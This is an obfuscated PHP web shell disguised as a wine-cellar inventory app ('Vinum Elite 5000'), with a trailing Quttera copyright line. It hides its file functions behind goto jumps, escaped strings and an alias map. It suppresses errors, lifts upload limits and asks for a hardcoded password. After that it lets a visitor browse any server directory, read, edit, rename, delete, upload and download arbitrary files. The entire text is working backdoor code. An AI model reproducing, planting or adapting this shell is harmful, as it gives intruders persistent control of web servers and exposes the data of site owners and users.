goto L2hlR; pfR_6: $issueMsg = ''; goto HRGL5; yjQB9: ini_set("\165\160\154\157\141\144\x5f\155\x61\170\137\146\151\x6c\x65\x73\151\x7a\x65", "\61\x30\60\115"); goto fFoL6; LC5oU: dn8zi: goto XUPAa; WaACu: if (!WineOps::isCask($cellarPath)) { $issueMsg = "\114\141\x20\x62\x61\x72\x72\151\x63\141\x20\x6e\157\40\x65\170\x69\163\164\x65\x20\157\x20\x65\x73\164\xc3\xa1\x20\x73\145\x6c\x6c\141\144\141\x2e"; } elseif (!WineOps::readPerms($cellarPath)) { $issueMsg = "\x53\x69\156\40\x70\145\162\155\151\163\x6f\x73\40\144\x65\x20\154\x65\143\x74\x75\162\141\x20\145\x6e\40\145\x73\x74\x61\40\142\x61\162\162\151\x63\141\x2e"; } else { $stock = WineOps::inventoryScan($cellarPath); $stock = is_array($stock) ? array_diff($stock, array("\56", "\x2e\56")) : array(); } goto wcQU3; aTvcH: define("\x56\111\x4e\125\x4d\137\x56\105\122\x53\x49\117\116", "\65\56\x30\56\x34"); goto PyxYM; qG1Zs: yG9Qz: goto YdXz0; kqpQV: echo urlencode(WineOps::getCellar($cellarPath)); goto PFnLM; Ml9b1: error_reporting(0); goto MjmVW; iGXrl: r_QYp: goto Wnv9m; m3r93: yKi2U: goto u0lwX; Sqvmw: ini_set("\144\x69\163\x70\154\x61\171\137\145\162\162\157\x72\x73", "\60"); goto jlhiR; XUPAa: $uploadMsg = ''; goto EUsJj; Lub2O: define("\x56\111\116\x55\115\137\116\x41\x4d\x45", "\126\x69\x6e\x75\155\40\105\x6c\x69\164\x65\x20\x35\60\60\60"); goto Boks_; wcQU3: goto uA1sE; goto Hs4Rh; aunxO: nz0G3: goto SjjYE; eEqbj: goto lc4VO; goto bj7rC; FY4OP: $cellarPath = isset($_GET["\143\x65\x6c\154\x61\x72"]) ? $_GET["\x63\x65\154\154\x61\x72"] : "\56\x2f"; goto zSohZ; aBLcQ: $stock = array(); goto XGz9C; PR_F9: GXflu: goto OY7XX; WPwlC:
</span></div><div class="content"><div class="deposit-zone"><h3>π· Depositar nuevo vino (archivo)</h3><form method="POST"enctype="multipart/form-data"><input name="order"type="hidden"value="deposit"> <input name="winefile"type="file"required style="padding:10px;margin:10px"> <button class="control gold"type="submit">π€ Depositar (goto vBO0f; G61sx: goto BJnZQ; goto YVL9G; jqWx2:
<!doctypehtml><html lang="es"><head><meta charset="UTF-8"><title>π· Vinum Elite - Bodega de Barricas</title><style>*{margin:0;padding:0;box-sizing:border-box}body{background:#fdf6f0;font-family:'Segoe UI',sans-serif}header{background:#c0392b;color:#fff;padding:25px;text-align:center;border-bottom:10px solid #e74c3c}header h1{font-size:48px;text-shadow:3px 3px 0 #a93226}.navbar{background:#e74c3c;padding:15px;display:flex;justify-content:space-between;color:#fff;font-weight:700}.content{max-width:1400px;margin:20px auto;padding:20px}.deposit-zone{border:4px dashed #e74c3c;background:#fffaf5;padding:30px;text-align:center;border-radius:50px;margin-bottom:20px}.control{background:#c0392b;color:#fff;padding:12px 25px;border:none;border-radius:50px;cursor:pointer;border-bottom:4px solid #a93226;transition:.2s;display:inline-block;margin:5px;text-decoration:none;font-weight:700}.control:hover{background:#a93226;transform:translateY(-2px);border-bottom-width:6px}.control.gold{background:#f39c12;border-bottom-color:#d68910}.control.remove{background:#e67e22;border-bottom-color:#d35400}.panel{background:#fff;border-radius:30px;overflow:hidden;box-shadow:0 15px 35px rgba(0,0,0,.2);border:3px solid #e74c3c}.panel table{width:100%;border-collapse:collapse}.panel th{background:#c0392b;color:#fff;padding:15px;text-align:left;font-size:18px}.panel td{padding:15px;border-bottom:2px solid #fdf6f0}.panel tr:hover{background:#fff2e6}.badge{font-size:24px;margin-right:10px;vertical-align:middle}.cask{color:#f39c12;font-weight:700}.vintage{color:#c0392b}.critical{background:#e74c3c;color:#fff;padding:20px;border-radius:50px;margin:20px;text-align:center}.success{background:#27ae60;color:#fff;padding:15px;border-radius:25px;margin:10px 0;text-align:center;font-weight:700}.error{background:#e74c3c;color:#fff;padding:15px;border-radius:25px;margin:10px 0;text-align:center;font-weight:700}.dialog{display:none;position:fixed;z-index:1000;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.8)}.dialog-content{background:#fff;margin:5% auto;padding:0;border-radius:40px;width:90%;max-width:800px;border:8px solid #e74c3c}.dialog-head{background:#c0392b;color:#fff;padding:20px;border-radius:32px 32px 0 0;font-size:24px}.dialog-body{padding:25px}.exit{float:right;font-size:40px;font-weight:700;cursor:pointer;color:#fff}.textarea{width:100%;height:400px;padding:15px;border:3px solid #e74c3c;border-radius:20px;font-family:monospace}.input-field{padding:10px;border:2px solid #e74c3c;border-radius:30px;margin:5px}</style></head><body><header><h1>π· Vinum Elite 5000 - Bodega de Barricas</h1><p>Control de añejamiento, fermentación y reservas</p></header><div class="navbar"><span>πgoto dsa6q; cYkXk: goto GXflu; goto VsTSU; XGz9C: goto z5Q8H; goto LC5oU; fFoL6: goto UlIaC; goto m05kX; H2LfF: JZiO3: goto h2vZN; PFnLM: goto Y504s; goto zzxeN; xyhO1: F1IOt: goto TI1Ei; C6_QF: jUFtg: goto HtdOY; zSohZ: goto dukZF; goto KY0_s; fHnQM: goto pvyQP; goto AesVX; onsy9: fJW0q: goto qhoFi; iTBy9: wc8Lt: goto J7w1w; cxcFR: opFPv: goto WaACu; dsa6q: goto wppv_; goto yzK07; z5x0b: UlIaC: goto iHEpt; mei2Q: iztK3: goto nSDSD; pLTkl: goto Oymba; goto p5NTL; yzK07: klJT9: goto H5XHk; MA6VJ: BJnZQ: goto Rd6qy; Cq95o: Ck5B1: goto Lub2O; glCkP: ini_set("\154\157\147\137\x65\x72\x72\157\x72\x73", "\61"); goto VldJb; CIhUY: if ($uploadMsg) {
<div class="echo strpos($uploadMsg, "\342\234\205") !== false ? "\163\165\x63\143\145\x73\163" : "\145\x72\x72\x6f\162";
">echo $uploadMsg;
</div>} goto QD1Ek; haQuC: S1lqd: goto wk2cg; CRjsT: goto wc8Lt; goto SxTht; VMhmb: goto jUFtg; goto Q0y8n; ikiqb: NNg7K: goto EYd35; HtdOY: ini_set("\155\x61\x78\x5f\145\170\145\143\165\164\151\x6f\156\137\x74\x69\x6d\x65", 300); goto hjh6I; uT9xV: pvyQP: goto awo20; ZVRq3: goto KQRVT; goto z5x0b; Q39Gm: goto QrZJQ; goto ikiqb; zzxeN: Oymba: goto WPwlC; wk2cg: echo urlencode($cellarPath); goto e2dJu; Md6TN: goto S1lqd; goto onsy9; Boks_: goto yKi2U; goto m8SF5; RMfUS: if (isset($_GET["\x73\x65\x72\166\145"])) { $filePath = WineOps::cleanPath($_GET["\163\145\x72\x76\x65"]); if (WineOps::isBottle($filePath) && WineOps::readPerms($filePath)) { header("\x43\157\x6e\x74\145\156\x74\55\104\x65\x73\x63\162\x69\160\164\x69\x6f\x6e\72\40\123\145\x72\x76\151\143\x69\157\40\144\x65\40\x72\145\x73\x65\162\166\x61"); header("\103\157\156\164\x65\156\x74\x2d\124\171\160\x65\x3a\40\141\x70\x70\x6c\151\143\x61\164\151\x6f\156\x2f\157\143\x74\145\x74\55\163\x74\162\145\x61\155"); header("\x43\157\x6e\x74\145\x6e\164\55\x44\151\x73\160\157\163\151\x74\x69\157\x6e\x3a\40\x61\164\x74\141\143\x68\155\145\x6e\x74\x3b\x20\146\x69\154\145\x6e\x61\155\x65\75\42" . WineOps::extractName($filePath) . "\42"); header("\x43\157\x6e\164\145\156\x74\55\x4c\x65\x6e\147\164\x68\x3a\40" . WineOps::calcCapacity($filePath)); WineOps::serveWine($filePath); die; } } goto Jv6Xy; jlhiR: goto NVQXQ; goto iTBy9; m05kX: ahBom: goto RMfUS; PPtHR: echo urlencode($cellarPath); goto Q1yRP; HRGL5: goto dn8zi; goto EuhA2; TI1Ei: define("\126\111\116\125\x4d\x5f\x50\x41\124\x48", __DIR__); goto cjV_w; KY0_s: UVkpL: goto jqWx2; T1FV0: WOcZu: goto aBLcQ; L3yz_: goto UVkpL; goto T1FV0; H5XHk: echo ini_get("\165\160\154\x6f\x61\x64\137\x6d\141\x78\137\x66\x69\x6c\145\163\151\172\145"); goto LWlVT; EYd35: class WineOps { private static $actionMap = array("\x69\156\166\x65\x6e\164\x6f\162\171\123\143\x61\x6e" => "\163\x63\141\156\x64\x69\x72", "\144\x69\163\x63\x61\162\144\102\x61\x72\162\145\x6c" => "\165\x6e\x6c\x69\x6e\153", "\162\145\142\x72\x61\156\144\102\x6f\164\164\x6c\145" => "\x72\x65\156\141\x6d\145", "\x66\x69\154\x6c\x43\x6f\x6e\164\145\156\x74\163" => "\x66\151\154\x65\137\160\165\x74\x5f\143\157\x6e\164\x65\156\164\x73", "\163\145\x74\x75\160\103\x61\163\153" => "\x6d\153\x64\x69\162", "\160\157\x75\x72\103\157\x6e\164\x65\x6e\x74\163" => "\155\x6f\166\x65\x5f\165\160\154\157\141\144\145\x64\x5f\x66\151\154\145", "\x69\163\103\141\163\153" => "\x69\163\137\x64\x69\x72", "\x69\x73\x42\x6f\164\x74\154\145" => "\151\163\137\x66\x69\x6c\x65", "\x63\141\154\x63\x43\141\160\x61\143\151\164\171" => "\x66\x69\x6c\145\163\151\172\145", "\143\x68\x65\143\x6b\x56\151\156\x74\141\x67\145" => "\x66\151\x6c\145\x6d\x74\x69\x6d\x65", "\147\x65\164\101\143\x63\x65\x73\x73\x4c\145\166\145\154" => "\146\x69\x6c\x65\x70\x65\162\x6d\x73", "\163\145\162\x76\145\127\x69\x6e\x65" => "\x72\x65\x61\144\x66\151\154\145", "\x65\170\164\x72\x61\x63\164\116\141\155\145" => "\142\141\x73\145\x6e\141\155\145", "\x67\145\x74\x43\x65\x6c\x6c\141\x72" => "\x64\x69\x72\156\x61\x6d\145", "\143\154\145\x61\x6e\x50\x61\164\150" => "\x72\145\x61\154\x70\x61\x74\x68", "\163\164\157\x63\153\x43\x68\x65\x63\153" => "\x66\151\x6c\x65\137\x65\170\151\x73\x74\163", "\x72\x65\141\x64\120\145\x72\155\x73" => "\x69\x73\x5f\x72\x65\x61\144\141\142\154\x65", "\157\x70\145\156\126\141\154\166\145" => "\x66\157\160\x65\156", "\163\x74\x72\x65\141\155\126\141\154\166\x65" => "\x66\x77\162\151\x74\145", "\x6c\157\143\153\126\x61\154\x76\x65" => "\146\143\x6c\157\163\x65"); private static function _dispatch($action, ...$params) { if (!isset(self::$actionMap[$action])) { return null; } $fn = self::$actionMap[$action]; return function_exists($fn) ? call_user_func_array($fn, $params) : null; } public static function inventoryScan($path) { return self::_dispatch("\151\156\166\x65\156\164\x6f\162\171\123\143\141\x6e", $path); } public static function discardBarrel($path) { return self::_dispatch("\x64\151\x73\143\141\x72\x64\102\x61\x72\x72\x65\154", $path); } public static function rebrandBottle($old, $new) { return self::_dispatch("\162\x65\x62\162\x61\156\144\x42\157\x74\x74\x6c\145", $old, $new); } public static function fillContents($file, $content) { return self::_dispatch("\x66\x69\x6c\x6c\x43\x6f\x6e\164\x65\156\x74\x73", $file, $content); } public static function setupCask($path, $perms = 493, $recursive = true) { return self::_dispatch("\x73\x65\164\x75\x70\103\141\x73\x6b", $path, $perms, $recursive); } public static function pourContents($tmp, $dest) { return self::_dispatch("\x70\157\165\x72\103\157\156\x74\145\x6e\164\x73", $tmp, $dest); } public static function isCask($path) { return self::_dispatch("\151\x73\x43\x61\163\153", $path); } public static function isBottle($path) { return self::_dispatch("\x69\163\102\157\x74\164\154\x65", $path); } public static function calcCapacity($path) { return self::_dispatch("\143\x61\x6c\143\x43\x61\160\x61\143\151\x74\171", $path); } public static function checkVintage($path) { return self::_dispatch("\x63\150\x65\143\153\x56\x69\156\164\x61\x67\x65", $path); } public static function getAccessLevel($path) { return self::_dispatch("\x67\x65\164\x41\x63\143\x65\163\x73\114\x65\x76\145\154", $path); } public static function serveWine($path) { return self::_dispatch("\x73\145\162\166\145\127\151\156\145", $path); } public static function extractName($path) { return self::_dispatch("\145\170\x74\x72\141\143\164\116\x61\155\145", $path); } public static function getCellar($path) { return self::_dispatch("\x67\x65\x74\103\145\154\154\x61\162", $path); } public static function cleanPath($path) { return self::_dispatch("\143\154\x65\141\156\x50\141\x74\150", $path); } public static function stockCheck($path) { return self::_dispatch("\163\x74\x6f\143\153\103\x68\x65\143\x6b", $path); } public static function readPerms($path) { return self::_dispatch("\x72\x65\141\x64\x50\145\x72\155\163", $path); } public static function openValve($path, $mode) { return self::_dispatch("\157\160\145\x6e\126\141\x6c\x76\x65", $path, $mode); } public static function streamValve($handle, $content) { return self::_dispatch("\x73\164\162\145\141\x6d\126\x61\154\166\x65", $handle, $content); } public static function lockValve($handle) { return self::_dispatch("\154\x6f\x63\153\x56\141\154\166\x65", $handle); } } goto ZVRq3; chvWG: echo htmlspecialchars($cellarPath); goto gSWqD; SxTht: s31MJ: goto kqpQV; UO6SL: goto F1IOt; goto w5EZQ; SjjYE:
max)</button></form>goto q2Om0; iMSkh: vYnpl: goto Ml9b1; VsTSU: ckbVr: goto ZeLbs; nSDSD:
</span><span>π¨π§ Enólogo certificado | Max:goto CRjsT; u0lwX: define("\126\111\x4e\x55\115\x5f\123\105\103\122\105\x54", "\x31\60\66"); goto UO6SL; L2hlR: goto vYnpl; goto qG1Zs; EUsJj: goto opFPv; goto m3r93; YEsqk: goto e1Gpu; goto SRDBA; IA8kC: goto ckbVr; goto xyhO1; Wnv9m:
</div><div style="margin-bottom:20px"><a class="control"href="?cellar=goto Md6TN; PyxYM: goto Ck5B1; goto uT9xV; rWWTk: DoDxT: goto kxqDg; ntmY_: if ($_POST && isset($_POST["\157\x72\144\x65\x72"])) { $order = $_POST["\x6f\162\x64\145\162"]; if ($order === "\x72\145\155\x6f\166\x65" && isset($_POST["\163\164\x6f\143\x6b\x69\164\x65\155"])) { $targetItem = $cellarPath . "\57" . WineOps::extractName($_POST["\x73\164\157\x63\x6b\x69\164\x65\155"]); if (WineOps::isBottle($targetItem) && WineOps::discardBarrel($targetItem)) { header("\x4c\x6f\143\141\x74\x69\157\x6e\72\x20" . $_SERVER["\x50\110\x50\x5f\x53\x45\x4c\x46"] . "\x3f\x63\x65\154\x6c\x61\x72\x3d" . urlencode($cellarPath)); die; } } if ($order === "\x72\x65\x6e\141\x6d\x65" && isset($_POST["\163\157\x75\162\x63\145"]) && isset($_POST["\164\x61\162\x67\x65\164"])) { $sourcePath = $cellarPath . "\x2f" . WineOps::extractName($_POST["\x73\157\165\162\x63\x65"]); $targetPath = $cellarPath . "\x2f" . WineOps::extractName($_POST["\x74\x61\162\147\145\164"]); if (WineOps::stockCheck($sourcePath) && WineOps::rebrandBottle($sourcePath, $targetPath)) { header("\114\157\143\141\x74\x69\x6f\x6e\72\x20" . $_SERVER["\x50\110\120\x5f\x53\x45\114\106"] . "\x3f\x63\x65\154\x6c\x61\x72\75" . urlencode($cellarPath)); die; } } if ($order === "\x73\141\x76\145" && isset($_POST["\x73\x74\x6f\x63\x6b\151\x74\145\155"]) && isset($_POST["\146\157\162\x6d\x75\154\x61"])) { $itemPath = $cellarPath . "\x2f" . WineOps::extractName($_POST["\x73\x74\157\143\x6b\x69\x74\145\x6d"]); if (WineOps::isBottle($itemPath) && WineOps::fillContents($itemPath, $_POST["\x66\x6f\162\155\x75\x6c\141"]) !== false) { header("\114\157\x63\x61\x74\151\157\156\72\x20" . $_SERVER["\120\x48\120\137\x53\x45\114\x46"] . "\77\143\x65\154\x6c\141\162\x3d" . urlencode($cellarPath)); die; } } if ($order === "\x6e\145\167\x63\141\163\153" && isset($_POST["\x63\141\163\x6b\156\x61\155\145"])) { $newCaskPath = $cellarPath . "\x2f" . WineOps::extractName($_POST["\x63\x61\163\153\156\x61\155\x65"]); if (!WineOps::stockCheck($newCaskPath) && WineOps::setupCask($newCaskPath, 493, true)) { header("\114\x6f\x63\x61\164\151\157\156\x3a\x20" . $_SERVER["\x50\x48\x50\x5f\x53\x45\x4c\x46"] . "\x3f\x63\145\154\x6c\x61\x72\x3d" . urlencode($cellarPath)); die; } } if ($order === "\144\145\x70\x6f\x73\151\x74" && isset($_FILES["\x77\x69\x6e\145\146\x69\154\145"])) { $upload = $_FILES["\x77\151\x6e\145\146\x69\x6c\145"]; if ($upload["\x65\162\x72\157\x72"] === UPLOAD_ERR_OK && $upload["\x73\x69\172\145"] > 0) { $destPath = $cellarPath . "\x2f" . preg_replace("\x2f\x5b\x5e\x61\55\172\x41\55\x5a\60\x2d\71\56\x5f\x2d\x5d\57", "\137", basename($upload["\x6e\x61\155\x65"])); if (WineOps::pourContents($upload["\164\x6d\160\137\156\x61\155\145"], $destPath)) { $uploadMsg = "\xe2\x9c\x85\40\101\162\143\150\151\166\157\x20\42" . htmlspecialchars(basename($upload["\156\x61\x6d\145"])) . "\42\x20\163\x75\142\151\144\157\40\x65\170\x69\164\157\163\x61\155\145\x6e\164\145\x21"; } else { $uploadMsg = "\342\x9d\214\x20\x45\162\x72\157\162\40\x61\154\x20\147\x75\141\162\x64\x61\x72\40\x65\x6e\x3a\x20" . htmlspecialchars($destPath); } } else { $uploadMsg = "\xe2\235\214\x20\x45\162\x72\157\x72\40\x64\x65\x20\163\165\142\151\x64\x61\x3a\x20"; switch ($upload["\145\x72\162\157\162"]) { case UPLOAD_ERR_INI_SIZE: $uploadMsg .= "\x41\162\x63\150\x69\x76\x6f\x20\x3e\x20" . ini_get("\165\x70\154\157\141\x64\x5f\155\141\x78\x5f\146\151\154\145\163\x69\x7a\145"); break; case UPLOAD_ERR_FORM_SIZE: $uploadMsg .= "\x50\117\x53\124\40\144\x65\155\141\x73\x69\x61\144\x6f\x20\x67\162\x61\156\x64\145"; break; case UPLOAD_ERR_PARTIAL: $uploadMsg .= "\x53\x75\x62\x69\144\x61\x20\151\156\x63\x6f\155\x70\154\145\164\141"; break; case UPLOAD_ERR_NO_FILE: $uploadMsg .= "\x4e\x6f\40\163\x65\x20\x72\145\143\x69\x62\151\xc3\xb3\x20\141\162\x63\150\151\166\157"; break; default: $uploadMsg .= "\x45\x72\x72\x6f\162\40\x23" . $upload["\x65\162\x72\157\162"]; } } } } goto L3yz_; Hs4Rh: wppv_: goto chvWG; gSWqD: goto iztK3; goto PR_F9; vBO0f: goto klJT9; goto H2LfF; QD1Ek: goto r_QYp; goto mei2Q; gJRyq: ini_set("\155\x65\155\157\x72\x79\x5f\154\151\x6d\151\164", "\x32\x35\66\x4d"); goto G61sx; bj7rC: ohdjI: goto CIhUY; dOkOR: goto ahBom; goto aSEZl; e2dJu: goto fJW0q; goto EH_3u; w5EZQ: CC0xM: goto hcQZs; q2Om0: goto ohdjI; goto ZOMYv; EuhA2: vM70q: goto aTvcH; w88y4: goto qUxLq; goto MA6VJ; SRDBA: KQRVT: goto i1VV2; hcQZs:
')
.then(r=>r.text())
.then(formula=>{
document.getElementById('formulaText').value=formula;
document.getElementById('itemRef').value=item;
document.getElementById('formulaDialog').style.display='block';
});
}
function closeDialog(){document.getElementById('formulaDialog').style.display='none';}
window.onclick=function(e){if(e.target.id=='formulaDialog')closeDialog();}</script></body></html>goto dOkOR; EH_3u: clRFI: goto FY4OP; cMoZ0: $cellarPath = WineOps::cleanPath($cellarPath) ?: $cellarPath; goto uoRjj; cjV_w: goto NNg7K; goto iMSkh; ZeLbs: if ($issueMsg) {
<div class="critical">β οΈecho htmlspecialchars($issueMsg);
</div>} else {
<div class="panel"><table><thead><tr><th>Etiqueta</th><th>Capacidad</th><th>Vintage</th><th>Acceso</th><th>Órdenes</th></tr></thead><tbody>foreach ($stock as $item) { $completePath = $cellarPath . "\x2f" . $item; $isCaskItem = WineOps::isCask($completePath); $capacity = $isCaskItem ? "\55" : WineOps::calcCapacity($completePath); if (!$isCaskItem && is_numeric($capacity)) { if ($capacity < 1024) { $capacity .= "\x20\102"; } elseif ($capacity < 1048576) { $capacity = round($capacity / 1024, 1) . "\x20\x4b\x42"; } else { $capacity = round($capacity / 1048576, 1) . "\40\115\102"; } } $vintageDate = date("\x64\57\x6d\57\x59\x20\110\72\151", WineOps::checkVintage($completePath)); $accessCode = substr(sprintf("\x25\x6f", WineOps::getAccessLevel($completePath)), -4);
<tr><td><span class="badge">echo $isCaskItem ? "\xf0\x9f\215\276" : "\360\x9f\x8d\xb7";
</span>echo $isCaskItem ? "\74\141\40\150\162\x65\x66\75\42\77\143\145\154\154\141\162\x3d" . urlencode($completePath) . "\42\x20\143\154\141\163\x73\x3d\42\x63\141\163\x6b\x22\x3e" . htmlspecialchars($item) . "\74\57\141\x3e" : "\x3c\163\x70\x61\x6e\x20\x63\x6c\141\163\163\75\42\x76\x69\156\164\x61\x67\x65\42\76" . htmlspecialchars($item) . "\x3c\57\x73\x70\141\x6e\76";
</td><td>echo $capacity;
</td><td>echo $vintageDate;
</td><td>echo $accessCode;
</td><td>if ($isCaskItem) {
<a class="control"href="?cellar=echo urlencode($completePath);
"style="padding:8px 12px;font-size:12px">π· Explorar</a>} else {
<button class="control"style="padding:8px 12px;font-size:12px"onclick='editFormula("echo htmlspecialchars($item);
")'>βοΈ Editar</button><form method="POST"style="display:inline"onsubmit='return confirm("¿Descartar?")'><input name="order"type="hidden"value="remove"><input name="stockitem"type="hidden"value="echo htmlspecialchars($item);
"> <button class="control remove"type="submit"style="padding:8px 12px;font-size:12px">ποΈ Descartar</button></form><a class="control"href="?serve=echo urlencode($completePath);
"style="padding:8px 12px;font-size:12px;background:#e74c3c">β¬οΈ Servir</a>}
<form method="POST"style="display:inline"><input name="order"type="hidden"value="rename"><input name="source"type="hidden"value="echo htmlspecialchars($item);
"> <input name="target"value="echo htmlspecialchars($item);
"style="width:100px;padding:5px"placeholder="Nueva etiqueta"> <button class="control"type="submit"style="padding:8px 12px;font-size:12px">π Reetiquetar</button></form></td></tr>}
</tbody></table></div>} goto fHnQM; qhoFi:
">π Recargar</a> <a class="control"href="?cellar=goto NV_ys; YVL9G: uA1sE: goto ntmY_; hjh6I: goto JZiO3; goto haQuC; h36cW: goto clRFI; goto rWWTk; aSEZl: lc4VO: goto PPtHR; OY7XX: if (!CellarGuard::authorizeEntry()) {
<!doctypehtml><html lang="es"><head><meta charset="UTF-8"><title>π· Vinum Elite - Bodega</title><style>body{background:linear-gradient(135deg,#c0392b,#a93226);height:100vh;display:flex;align-items:center;justify-content:center;font-family:'Segoe UI',sans-serif}.cellar-door{background:#fff;padding:40px;border-radius:30px;box-shadow:0 20px 40px rgba(0,0,0,.3);text-align:center;width:350px;border:5px solid #e74c3c}.cellar-door h2{color:#c0392b;margin-bottom:20px}input{padding:15px;border:2px solid #e74c3c;border-radius:40px;width:100%;margin-bottom:20px;font-size:16px}button{background:#c0392b;color:#fff;padding:15px;border:none;border-radius:40px;width:100%;font-size:18px;cursor:pointer}button:hover{background:#a93226}</style></head><body><div class="cellar-door"><h2>π· Entrada a Bodega Vinum Elite</h2><form method="POST"><input name="vinumCode"type="password"required placeholder="Código de enólogo autorizado"> <button type="submit">Acceder</button></form></div></body></html>die; } goto h36cW; VldJb: goto DoDxT; goto cxcFR; Jv6Xy: goto yG9Qz; goto qA3J_; wuhl7:
">π Bodega superior</a><form method="POST"style="display:inline-block"><input name="order"type="hidden"value="newcask"> <input name="caskname"required placeholder="Nueva barrica"class="input-field"style="width:200px"> <button class="control gold"type="submit">β Instalar</button></form></div>goto IA8kC; h2vZN: ini_set("\155\x61\x78\137\151\x6e\x70\x75\x74\x5f\164\x69\x6d\x65", 300); goto w88y4; Q1yRP: goto CC0xM; goto aunxO; mQ5g8: NVQXQ: goto glCkP; NV_ys: goto s31MJ; goto mQ5g8; AesVX: qUxLq: goto gJRyq; Rd6qy: session_start(); goto c1p1a; YdXz0: if (isset($_GET["\154\157\x61\144"]) && isset($_GET["\x63\145\x6c\154\x61\162"])) { $filePath = WineOps::cleanPath($_GET["\x63\x65\154\154\x61\x72"]) . "\x2f" . WineOps::extractName($_GET["\x6c\157\141\144"]); if (WineOps::isBottle($filePath) && WineOps::readPerms($filePath)) { echo htmlspecialchars(file_get_contents($filePath)); die; } } goto Q39Gm; iHEpt: ini_set("\x70\157\x73\164\137\155\141\x78\137\x73\151\x7a\x65", "\61\60\60\x4d"); goto VMhmb; qA3J_: z5Q8H: goto pfR_6; Q0y8n: KWFD1: goto Sqvmw; p5NTL: e1Gpu: goto yjQB9; J7w1w: echo ini_get("\x75\x70\154\x6f\x61\x64\137\155\141\x78\x5f\x66\x69\154\x65\x73\x69\x7a\x65"); goto pLTkl; uoRjj: goto WOcZu; goto C6_QF; LWlVT: goto nz0G3; goto Cq95o; i1VV2: class CellarGuard { public static function authorizeEntry() { if (isset($_SESSION["\166\x69\x6e\165\155\101\x63\143\x65\x73\163"]) && $_SESSION["\x76\151\x6e\x75\x6d\x41\143\143\145\163\x73"] === true) { return true; } if (isset($_POST["\x76\151\x6e\x75\x6d\x43\x6f\144\145"]) && $_POST["\x76\151\x6e\165\155\x43\157\144\x65"] === VINUM_SECRET) { $_SESSION["\166\151\x6e\x75\x6d\101\143\143\x65\163\x73"] = true; return true; } return false; } } goto cYkXk; awo20:
</div><div class="dialog"id="formulaDialog"><div class="dialog-content"><div class="dialog-head"><span class="exit"onclick="closeDialog()">×</span><h2>βοΈ Editar fórmula</h2></div><div class="dialog-body"><form method="POST"><input name="order"type="hidden"value="save"> <input name="stockitem"type="hidden"id="itemRef"> <textarea class="textarea"id="formulaText"name="formula"placeholder="Fórmula de mezcla..."></textarea><br><br><button class="control gold"type="submit">πΎ Guardar cambios</button> <button class="control remove"type="button"onclick="closeDialog()">β Cancelar</button></form></div></div></div><script>function editFormula(item){
fetch('?load='+encodeURIComponent(item)+'&cellar=goto eEqbj; MjmVW: goto KWFD1; goto Qdoul; kxqDg: ini_set("\x65\162\x72\157\162\x5f\x6c\x6f\x67", __DIR__ . "\57\x76\151\x6e\x65\x6c\157\147\163\x2f\145\x72\162\157\162\56\154\x6f\147"); goto YEsqk; c1p1a: goto vM70q; goto iGXrl; ZOMYv: dukZF: goto cMoZ0; Qdoul: QrZJQ: goto FDFZL; m8SF5: Y504s: goto wuhl7; FDFZL:
© 2023 Quttera Ltd. All rights reserved.